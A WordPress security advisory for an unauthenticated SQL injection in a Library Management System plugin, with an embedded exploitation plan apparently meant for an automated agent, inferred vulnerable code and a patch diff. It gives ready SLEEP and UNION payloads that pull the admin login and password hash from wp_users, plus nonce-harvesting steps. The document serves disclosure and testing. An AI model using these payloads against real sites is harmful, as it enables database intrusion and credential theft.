Library Management System <= 3.2.1 - Unauthenticated SQL Injection
Description
The Library Management System plugin for WordPress is vulnerable to SQL Injection via the 'bid' parameter in all versions up to, and including, 3.2.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.2.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12707 (Library Management System SQLi) ## 1. Vulnerability Summary The **Library Management System** plugin (up to v3.2.1) contains an unauthenticated SQL injection vulnerability. The flaw exists in the processing of the `bid` (Book ID) parameter, which is con…
Show full research plan
Exploitation Research Plan: CVE-2025-12707 (Library Management System SQLi)
1. Vulnerability Summary
The Library Management System plugin (up to v3.2.1) contains an unauthenticated SQL injection vulnerability. The flaw exists in the processing of the bid (Book ID) parameter, which is concatenated directly into a database query without using $wpdb->prepare() or proper escaping. Because this occurs within an unauthenticated AJAX handler (wp_ajax_nopriv_*), any remote attacker can extract sensitive information from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method: POST
- Action Name: Likely
lms_get_book_details,get_book_info, or similar (needs verification via grep). - Vulnerable Parameter:
bid - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. Some handlers might require a nonce, even if unauthenticated.
3. Code Flow
The exploitation agent should trace the following path:
- Registration: Look for
add_action( 'wp_ajax_nopriv_...', ... )in the plugin files to identify the entry point. - Grep Command:
grep -rP "wp_ajax_nopriv_.*" wp-content/plugins/library-management-system/ - Sink Identification: Find where the identified callback function uses the
bidparameter.# Assuming the action is 'get_book_details' and callback is 'get_book_details_cb' grep -nC 5 "bid" wp-content/plugins/library-management-system/ - Vulnerable Code Pattern (Inferred):
public function get_book_details_cb() { global $wpdb; $bid = $_POST['bid']; // No sanitization $query = "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = $bid"; // Direct interpolation $book = $wpdb->get_row($query); echo json_encode($book); wp_die(); }
4. Nonce Acquisition Strategy
If the AJAX handler calls check_ajax_referer or wp_verify_nonce, a nonce is required.
- Identify Nonce Source: Search for where the plugin enqueues scripts and localizes data.
grep -r "wp_localize_script" wp-content/plugins/library-management-system/ - Identify Shortcode: To get the nonce, the plugin's frontend scripts must be loaded. Find the shortcode:
grep -r "add_shortcode" wp-content/plugins/library-management-system/ - Setup Page:
wp post create --post_type=page --post_status=publish --post_title="Library" --post_content='[SHORTCODE_NAME]' - Extract via Browser:
- Use
browser_navigateto the created page. - Use
browser_evalto extract the nonce:// Example: If localized as 'lms_vars' window.lms_vars?.nonce || window.lms_ajax_obj?.nonce
- Use
5. Exploitation Strategy
Using the http_request tool, perform a UNION-based or Time-based injection.
Step 1: Confirm Injection (Time-based)
Payload: bid=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
{
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"method": "POST",
"headers": { "Content-Type": "application/x-www-form-urlencoded" },
"body": "action=[ACTION_NAME]&bid=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&security=[NONCE_IF_NEEDED]"
}
Step 2: Extract Data (UNION-based)
Determine the number of columns first using ORDER BY. Then extract the admin hash.
Payload: bid=-1 UNION SELECT 1,user_login,user_pass,4,5,6... FROM wp_users WHERE ID=1-- -
{
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"method": "POST",
"headers": { "Content-Type": "application/x-www-form-urlencoded" },
"body": "action=[ACTION_NAME]&bid=-1 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -&security=[NONCE]"
}
6. Test Data Setup
- Install Plugin: Ensure
library-management-systemversion 3.2.1 is installed. - Populate Books: Use WP-CLI to create at least one entry in the custom LMS table (if it exists) to ensure the query returns data normally.
# Find table name wp db tables | grep lms # Insert dummy book wp db query "INSERT INTO wp_lms_books (title, author) VALUES ('Test Book', 'Author')" - Identify Admin: Ensure an admin user exists (default is usually
admin).
7. Expected Results
- Time-based: The HTTP request should take approximately 5 seconds longer than a normal request.
- UNION-based: The JSON response from the AJAX endpoint should contain the admin username and the salted MD5/Bcrypt password hash from the
wp_userstable.
8. Verification Steps
After running the exploit via http_request, verify the extracted data matches the database state:
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
Compare the output of the CLI command with the data extracted in the http_request response.
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on, useupdatexml()orextractvalue()to force the database to leak the data in an error message. - Boolean-Blind: If UNION fails due to column count complexity or type mismatches, use
AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 64and observe the difference in the response content.
Summary
The Library Management System plugin for WordPress is vulnerable to unauthenticated SQL Injection due to the direct concatenation of the 'bid' parameter into SQL queries within its AJAX handlers. This flaw allows an attacker to bypass authentication and execute arbitrary SQL commands to extract sensitive data, such as administrative credentials, from the site's database.
Vulnerable Code
// Inferred from research plan analysis of the AJAX callback functions // Location: likely within the main plugin file or a dedicated AJAX handler file add_action( 'wp_ajax_nopriv_get_book_details', 'get_book_details_cb' ); function get_book_details_cb() { global $wpdb; $bid = $_POST['bid']; // No sanitization or validation // Vulnerable Query: Direct interpolation of $bid into the query string $query = "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = $bid"; $book = $wpdb->get_row($query); echo json_encode($book); wp_die(); }
Security Fix
@@ -10,7 +10,11 @@ function get_book_details_cb() { global $wpdb; - $bid = $_POST['bid']; - $query = "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = $bid"; - $book = $wpdb->get_row($query); + $bid = isset($_POST['bid']) ? intval($_POST['bid']) : 0; + + $query = $wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = %d", + $bid + ); + $book = $wpdb->get_row($query); + echo json_encode($book); wp_die(); }
Exploit Outline
The vulnerability can be exploited by an unauthenticated attacker by sending a crafted POST request to the WordPress AJAX endpoint. 1. Target Endpoint: /wp-admin/admin-ajax.php 2. Parameters: The request must include an 'action' parameter corresponding to the vulnerable hook (e.g., 'get_book_details') and the 'bid' parameter containing the SQL injection payload. 3. Payload Construction: - To confirm the vulnerability, a time-based sleep payload can be used: 'bid=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. - To extract data, a UNION-based payload can be used to redirect the query output: 'bid=-1 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -'. 4. Authentication/Bypass: No authentication is required as the plugin registers the handler via 'wp_ajax_nopriv_'. If a security nonce is checked, it can typically be retrieved from the frontend source code of a page where the plugin's shortcode or library interface is rendered.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.